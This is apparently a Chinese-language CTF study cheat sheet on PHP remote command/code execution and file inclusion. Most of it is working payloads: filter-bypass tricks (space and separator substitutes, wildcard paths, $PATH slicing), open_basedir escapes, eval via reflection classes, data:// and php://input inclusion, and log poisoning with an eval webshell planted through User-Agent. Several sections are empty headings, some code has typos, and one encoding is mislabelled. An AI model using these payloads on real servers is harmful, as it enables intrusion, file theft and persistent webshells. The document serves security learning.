RCE总结
一、RCE的定义RCE英文全称:remote command/code execute分为远程命令执行ping和远程代码执行evel。漏洞出现的原因:没有在输入口做输入处理。我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻
一、RCE的定义
RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。
二、RCE利用函数
三、命令执行绕过
1.过滤cat,flag等关键词
2.过滤空格
%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{cat,flag}
3.过滤目录分隔符 (/)
例子:
<?php
$res = FALSE;
if (isset($_GET['cmd']) && $_GET['cmd']) {
$ip = $_GET['cmd'];
$m = [];
if (!preg_match_all("/\//", $cmd, $m)) {
$cmd = "ping -c 4 {$cmd}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
采用多个管道命令
;cd flag;cat *
4.过滤分隔符 | & ;
①可以使用%0a代替,%0a其实在某种程度上是最标准的命令链接符号
功能 | 符号 | payload |
---|---|---|
换行符 | %0a | ?cmd=123%0als |
回车符 | %0d | ?cmd=123%0dls |
连续指令 | ; | ?1=123;pwd |
后台进程 | & | ?1=123&pwd |
管道 | | | ?1=123|pwd |
逻辑运算 | ||或&& | ?1=123&&pwd |
符号 | 功能 |
---|---|
; | 分号 |
| | 只执行后面那条命令 |
|| | 只执行前面那条命令 |
& | 两条命令都会执行 |
&& | 两条命令都会执行 |
②?>代替;
在php中可以用?>来代替最后一个;因为php遇到定界符关闭标志时,系统会自动在PHP语句之后加上一个分号。
5.字符串长度受限
6.无回显
7.Perl中open命令执行(GET)
8.无数字字母getshell
9.过滤括号
①使用不需要括号的函数
echo
echo `cat /flag`
require
require '/flag'
②使用取反
<?=require~%d0%99%93%9e%98?>
10.无参数RCE
11.内敛执行
将``或$()内命令的输出作为输入执行
常用payload:
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
12.open_basedir绕过
①利用chdir()与ini_set()组合绕过
使用chdir(‘img’)到文件的子目录
获取目录:
code=chdir('img');ini_set('open_basedir',''..'');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
读取文件:
?cmd=chdir('/tmp');mkdir('lethe');chdir('lethe');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(file_get_contents(文件名));
②利用glob://伪协议绕过
PS:此方法只能列出根目录下的文件
glob:// — 查找匹配的文件路径模式。
glob://是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,其用法示例如下:
<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
绕过原理:只是用glob://伪协议是无法直接绕过的,它需要结合其他函数组合利用,主要有以下两种利用方式,局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容
Ⅰ.DirectoryIterator+glob://
DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。
DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件:
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
输入glob:///*即可列出根目录下的文件,但是会发现只能列根目录和open_basedir指定的目录的文件
例子:ctfshow-web入门72
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}
else{
highlight_file(__FILE__);
}
?>
payload:
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();?>
发现flag0.txt
Ⅱ.opendir()+readdir()+glob://
opendir()函数为打开目录句柄,readdir()函数为从目录句柄中读取条目
这里结合两个函数来列举根目录中的文件:
c=?><?php
if ( $b = opendir("glob:///*") ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."<br>";
}
closedir($b);
}
exit(0);
?>
效果和①是一样的,只能绕过 open_basedir来列举根目录中的文件,不能列举出其他非根目录和open_basedir指定的目录中的文件
例子:ctfshow-web入门72
payload:
c=?><?php if($b = opendir("glob:///*")){while(($file = readir($b))!==false){echo $file." ";}closedir($b);exit(0);?>
发现flag0.txt
③利用syslink()函数绕过
符号链接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。路径可以是任意文件或目录,可以链接不同文件系统的文件。在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身
绕过方式:
原理是创建一个链接文件flag用相对路径指向A/B/C/D,再创建一个链接文件exp指向flag/…/…/…/…/etc/passwd,其实就是指向了A/B/C/D/…/…/…/…/etc/passwd,也就是/etc/passwd。这时候删除aaa文件再创建aaa目录但是exp还是指向了aaa也就是A/B/C/D/…/…/…/…/etc/passwd,就进入了路径/etc/passwd
PS:payload构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个…/来设置目标文件。
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","flag");
symlink("flag/../../../../etc/passwd","exp");
unlink("flag");
mkdir("flag");
?>
13.disable_function绕过
14.通配符+绝对路径调用命令
原理:
因为默认配置了环境变量使用才可以直接使用cat 等命令,但是可以使用路径调用命令如 /bin/cat,再加上通配符就能绕过很多限制
base64 flag.php
/bin/base64 flag.php
/???/???e64 flag.php
(ZmxhZ3tJX0FNX0FfRkxBR30= 为flag{I_AM_A_FLAG}的十六进制编码)
例子:
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
主要过滤了字母,分号,<>,使用通配符代替字母,目录调用命令即可。
payload1:
/???/????64 ????.??? #/bin/base64 flag.php
payload2:
/???/???/????2 ????.??? #/usr/bin/bzip2 flag.php
然后下载flag.php.bz2
15.grep绕过关键词过滤
grep { f???????
相当于
grep { flag.php
16.使用~$()构造数字
17.绕过disable_functions
当getshell后却无法执行系统命令
因为可能被设置了disable_functions函数,我们可以通过uaf脚本来绕过这个函数。
这里涉及到很多pwn的知识,本人主要学习web,对pwn的认识比较浅薄,在这里推荐几篇优秀的文章供大家参考。
推荐文章:
18.利用php内置类rce
①利用 FilesystemIterator 获取指定目录下的所有文件
例子:ctfshow-web110
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
payload:
?v1=FilesystemIterator&v2=getcwd
②使用PHP的反射类ReflectionClass、ReflectionMethod和PHP异常处理 Exception来rce
例子:
ctfshow-web109
<?php
highlight_file(__FILE__);
error_reorting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
payload:
?v1=Exception&v2=system('cat *')
?v1=Reflectionclass&v2=system('cat *')
19.$PATH环境变量绕过
①大写字母数字和{}绕过
echo ${PATH:5:1}${PATH:11:1}
${PATH:5:1}${PATH:11:1} 1
相当于
ls 1
②大写字母和{}绕过
当不允许我们使用数字时,我们可以用环境变量长度来代替数字
PS:不同系统的环境可能不同,所以环境变量的长度可能不同。
我们可以用下列语句搜寻我们预期长度的环境变量
for i in `env`; do echo -n "${i%=*} lenth is ";echo ${i#*=}|awk '{print length($0)}'; done |grep 5
for i in `env`; do echo -n "${i%=*} lenth is ";echo ${i#*=}|awk '{print length($0)}'; done |grep 11
所以构建语句
${PATH:${#XDG_MENU_PREFIX}:1}${PATH:${#XDG_RUNTIME_DIR}:1} 1
相当于
ls 1
四、文件包含
伪协议文件包含(伪协议后必须是文件绝对路径)
file:// 访问本地文件系统
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
php:// 访问输入输出流
zlib:// 压缩流
data:// 数据
ssh2:// security shell2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径
包含函数
①php://input
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data
潜在需要更少的内存。 enctype="multipart/form-data"
的时候 php://input 是无效的。
例子:
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
payload:
/?file=php://input
<?php system(“ls /”)?>
②.php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
php://filter的各种过滤器
③data://
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
data://text/plain;base64
读php文件源码:
data:text/plain,<?php system('cat /flag');?>
者命令执行:
data:text/plain,<?php system('whoami');?>
④zip://,bzip2://,zlib://,phar://
把shell压缩到zip中,如果file参数可控,可以通过该协议访问压缩包中文件
payload如下:
index.php?file=phar://uploads/flag.zip/flag.php
例子:
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
payload:
?file=compress.zlib://flag.php
⑤file伪协议
Linux:http://127.0.0.1/FI/LFI.php?file=file:///etc/passwd //绝对路径
Windows :http://192.168.6.128:8001/vulnerabilities/fi/?page=file:///C:\DVWA-master\vulnerabilities\fi\1.txt //绝对路径
⑥日志包含
先读取日志文件,发现可以读取
file=/var/log/nginx/access.log
或
file=/var/log/nginx/error.log
可以上传一句话木马,进行连接。
例子:
ctfshow萌新计划web20
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/php|file|base|rot/i",$c)){
include($c);
}
}else{
highlight_file(__FILE__);
}
?>
?c=/var/log/nginx/access.log
burpsuite抓包,修改User-Agent为<?php @eval($_POST['hack']);?>
蚁剑访问:http://chall.ctf.show/?c=/var/log/nginx/access.log
⑦固定后缀包含 include($c.".php");
例子:
ctfshow-web39
//flag in flag.
phperror_reporting(0);
if(isset($_GET'c'])){
$c= $_GET['c'];
if(!preg_match("/flag/i",$c)){
include($c.".php");
}
}else{
highlight_file(_FILE__);
}
payload:
使用data协议
?c=data:text/plain,<?php system('cat *');?>
⑧利用session.upload_progress进行文件包含
利用session.upload_progress进行文件包含
参考
更多推荐
所有评论(0)